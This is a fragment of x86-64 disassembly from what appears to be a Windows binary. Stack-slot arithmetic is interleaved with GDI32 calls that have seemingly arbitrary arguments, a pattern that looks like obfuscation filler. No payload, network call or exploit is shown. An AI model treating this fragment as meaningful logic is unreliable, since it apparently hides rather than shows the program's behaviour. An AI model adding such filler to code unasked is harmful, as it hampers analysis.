sub rax, rcx
mov rcx, qword [rsp + 0x3b78]
mov qword [rcx], rax
lea r9, [rsp + 0x1f60]
mov r8d, 0x1f
mov edx, 0x2b
mov rcx, qword [rsp + 0x3d58]
call qword [sym.imp.GDI32.dll_SetBitmapDimensionEx]
mov dword [rsp + 0x1f9c], eax
mov rax, qword [rsp + 0x3b58]
mov rcx, qword [rsp + 0x3b60]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x34f8], rax
movsx eax, word [rsp + 0xc58]
movsx ecx, word [rsp + 0xc5c]
and eax, ecx
mov rcx, qword [rsp + 0x3b00]
mov word [rcx], ax
mov rax, qword [rsp + 0x3b88]
mov rcx, qword [rsp + 0x3bc0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x2fa8], rax
mov rax, qword [rsp + 0x3bc8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1ab]
add eax, ecx
mov rcx, qword [rsp + 0x3bc8]
mov byte [rcx], al
mov eax, dword [rsp + 0x1f90]
mov rcx, qword [rsp + 0x3a38]
mov qword [rsp + 0x15758], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15758]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x3bd8]
mov dword [rcx], eax
jmp 0x1400f2d34
mov rax, qword [rsp + 0x3b80]
mov ecx, dword [rsp + 0x1f7c]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14018bdc0], eax
mov eax, dword [rsp + 0x1f68]
mov ecx, dword [rsp + 0x1fa0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3a40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3a50]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc5c]
or eax, ecx
mov rcx, qword [rsp + 0x3b00]
mov word [rcx], ax
mov rax, qword [rsp + 0x3b90]
movzx eax, word [rax]
shl eax, 5
mov word [rsp + 0xc60], ax
mov rax, qword [rsp + 0x3b90]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc60]
xor eax, ecx
mov rcx, qword [rsp + 0x3b90]
mov word [rcx], ax
mov rax, qword [rsp + 0x3b58]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3b60]
mov qword [rsp + 0x15760], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15760]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x34f8], rax
mov rax, qword [rsp + 0x3a38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1f7c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3b80]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3bc0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2fa8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3b28]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3bc8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1ab]
add eax, ecx
mov rcx, qword [rsp + 0x3bc8]
mov byte [rcx], al
mov r9d, 0x27
lea r8, [rsp + 0x3bb8]
lea rdx, [rsp + 0x1f7c]
mov rcx, qword [rsp + 0x3a30]
call qword [sym.imp.GDI32.dll_GetPath]
mov dword [rsp + 0x1fd0], eax
jmp 0x1400f2d34
mov rax, qword [rsp + 0x3a70]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3a50]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc58], ax
mov rax, qword [rsp + 0x3bd8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1f7c]
and ecx, eax
mov eax, ecx
mov dword [0x14018bdc0], eax
mov rax, qword [rsp + 0x3b58]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x34f8]
sar rax, cl
mov rcx, qword [rsp + 0x3b78]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3b90]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc60]
add eax, ecx
mov rcx, qword [rsp + 0x3b90]
mov word [rcx], ax
mov rax, qword [rsp + 0x3b60]
mov rcx, qword [rsp + 0x3b58]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x34f8], rax
mov rax, qword [rsp + 0x3b60]
mov rcx, qword [rsp + 0x34f8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x3b60]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3a68]
mov ecx, dword [rsp + 0x1f90]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x3a68]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3b88]
mov rcx, qword [rsp + 0x3bc0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x2fa8], rax
mov rax, qword [rsp + 0x3a38]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x3b80]
mov qword [rsp + 0x15768], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15768]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x3bd8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3bb8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1f8c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3a40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3b90]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc60]
and eax, ecx
mov rcx, qword [rsp + 0x3b90]
mov word [rcx], ax
mov rax, qword [rsp + 0x3b60]
mov rcx, qword [rsp + 0x3b58]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x34f8], rax
mov rax, qword [rsp + 0x3b90]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc60]
and eax, ecx
mov rcx, qword [rsp + 0x3b90]
mov word [rcx], ax
movsx eax, word [rsp + 0xc58]
movsx ecx, word [rsp + 0xc5c]
and eax, ecx
mov rcx, qword [rsp + 0x3a50]
mov word [rcx], ax
movzx eax, word [rsp + 0xc60]
or eax, 0x67f
mov word [rsp + 0xc60], ax
mov eax, dword [rsp + 0x1f68]
mov ecx, dword [rsp + 0x1f8c]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3a40]
mov dword [rcx], eax
mov eax, dword [rsp + 0x1f8c]
movzx ecx, al
mov eax, dword [rsp + 0x1f68]
shl eax, cl
mov rcx, qword [rsp + 0x3a40]
mov dword [rcx], eax
movabs rax, 0x7c78c83a536b6e
mov rcx, qword [rsp + 0x2fa8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x2fa8], rax
mov rax, qword [rsp + 0x3a38]
mov rcx, qword [rsp + 0x3a68]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x3a38]
mov dword [rcx], eax
movsx eax, word [rsp + 0xc58]
mov rcx, qword [rsp + 0x3a70]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x3a50]
mov word [rcx], ax
mov rax, qword [rsp + 0x3a50]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3a70]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xc5c], ax
mov eax, dword [rsp + 0x1f68]
mov ecx, dword [rsp + 0x1f8c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3a40]
mov dword [rcx], eax
movzx eax, word [rsp + 0xc60]
sub eax, 0x5b2
mov word [rsp + 0xc60], ax
movsx eax, word [rsp + 0xc58]
sub eax, 0x304
mov word [rsp + 0xc58], ax
mov r9d, 0x49
xor r8d, r8d
mov rdx, qword [rsp + 0x3d20]
mov rcx, qword [rsp + 0x3ab0]
call qword [sym.imp.GDI32.dll_EnumFontFamiliesW]
mov dword [rsp + 0x1f68], eax
mov eax, dword [rsp + 0x1c58]
and eax, 0x8064
mov dword [rsp + 0x1c58], eax
mov dword [rsp + 0x1f68], 0x26524ac6
mov eax, dword [rsp + 0x1c58]
shr eax, 1
mov dword [rsp + 0x1c58], eax
mov eax, dword [rsp + 0x1c58]
shl eax, 0xe
mov dword [rsp + 0x1c58], eax
mov dword [rsp + 0x1f68], 0x56ccd074
mov dword [rsp + 0x1f68], 0x78c128fc
lea r9, [rsp + 0x1f9c]
mov r8d, 0xd1
mov edx, 0x24
mov rcx, qword [rsp + 0x15770]
call qword [sym.imp.GDI32.dll_AnimatePalette]
mov dword [rsp + 0x1f9c], eax
mov eax, dword [rsp + 0x1c58]
or eax, 0x5bea
mov dword [rsp + 0x1c58], eax
movsx eax, word [rsp + 0xc58]
xor eax, 0x1c1
mov word [rsp + 0xc58], ax
mov eax, dword [rsp + 0x2874]
add rsp, 0x16698
pop rdi
pop rsi
ret